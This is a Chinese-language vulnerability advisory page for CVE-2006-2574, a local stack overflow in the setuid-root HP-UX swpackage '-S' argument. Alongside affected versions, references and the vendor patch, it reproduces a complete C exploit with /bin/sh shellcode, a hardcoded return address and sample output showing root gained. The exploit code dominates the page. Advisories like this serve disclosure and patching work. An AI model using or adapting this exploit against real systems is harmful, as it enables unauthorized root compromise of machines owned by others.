 |
HP-UX Software Distributor swpackage命令行参数本地栈溢出漏洞 |
|
|
| HP-UX Software Distributor swpackage命令行参数本地栈溢出漏洞 |
|
| 作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-26 15:08:16 |
|
2006-11-4 11:58:10
发布日期:2006-05-24 更新日期:2006-10-26
受影响系统:HP HP-UX B.11.23
HP HP-UX B.11.11
HP HP-UX B.11.04
HP HP-UX B.11.00 描述:
BUGTRAQ ID: 20706
CVE(CAN) ID: CVE-2006-2574
HP-UX是一款HP公司开发的UNIX操作系统。
HP-UX的swpackage在处理“-S”可选命令行参数时存在栈溢出漏洞,本地攻击者可能利用此漏洞获得系统的root用户入侵。
<*来源:NCC Group
链接:http://secunia.com/advisories/20230
http://www1.itrc.hp.com/service/cki/docDisplay.do?docId=c00659649&hpweb_printable=true
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! /* HP-UX swpackage buffer overflow exploit
* =======================================
* HP-UX 'swpackage' contains an exploitable stack overflow
* in the handling of command line arguements. Specifically the
* problem occurs due to insufficent bounds checking in the "-S"
* optional arguement. 'swpackage' is installed setuid root by
* default in HP-UX and allows for local root compromise when
* exploiting this issue.
*
* Example.
* $ cc prdelka-vs-HPUX-swpackage.c -o prdelka-vs-HPUX-swpackage
* /usr/ccs/bin/ld: (Warning) At least one PA 2.0 object file
* (prdelka-vs-HPUX-swpackage.o) was detected. The linked output may
* not run on a PA 1.x system.
* $ uname -a
* HP-UX hpux B.11.11 U 9000/785 2012383315 unlimited-user license
* $ id
* uid=102(user) gid=20(users)
* $ ls -al /usr/sbin/swpackage
* -r-sr-xr-x 2 root bin 1323008 Nov 3 2003 /usr/sbin/swpackage
* $ ./prdelka-vs-HPUX-swpackage
* [ HP-UX 11i 'swpackage' local root exploit
* $ id
* uid=0(root) gid=3(sys) euid=102(user) egid=20(users)
*
* - prdelka
*/
char shellcode[]=
"\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
"\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
"\xb4\x16\x70\x16""/bin/sh";
int main(){
char adr[4],*b,*a,*c,*envp[1];
int i;
*(unsigned long*)adr=0x7f7f0434;
printf("[ HP-UX 11i 'swpackage' local root exploit\n");
b=(char*)malloc(2048);
a=b;
memset(b,0,2048);
memset(b,'a',1053);
b+=1053;
for(i=0;i<4;i++) *b++=adr[i%4];
c=(char*)malloc(2048);
b=c;
memset(c,0,2048);
sprintf(c,"PATH=");
b+=5;
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
envp[0]=c;
envp[1]=0;
execle("/usr/sbin/swpackage","swpackage","-S",a,0,envp);
}
// milw0rm.com [2006-10-24]
建议:
厂商补丁:
HP
--
HP已经为此发布了一个安全公告(HPSBUX02114)以及相应补丁:
HPSBUX02114:SSRT061115 rev.1 - HP-UX Running Software Distributor Local Elevation of Privilege
链接:http://www1.itrc.hp.com/service/cki/docDisplay.do?docId=c00659649&hpweb_printable=true
|
|
| 新闻录入:admin 责任编辑:admin |
|
|
上一篇新闻: Nullsoft Winamp Ultravox多个远程堆溢出漏洞 下一篇新闻: 雅虎通会议邀请远程拒绝服务漏洞 |
|
|
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
|
|
网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!) |
|
|
|
|
|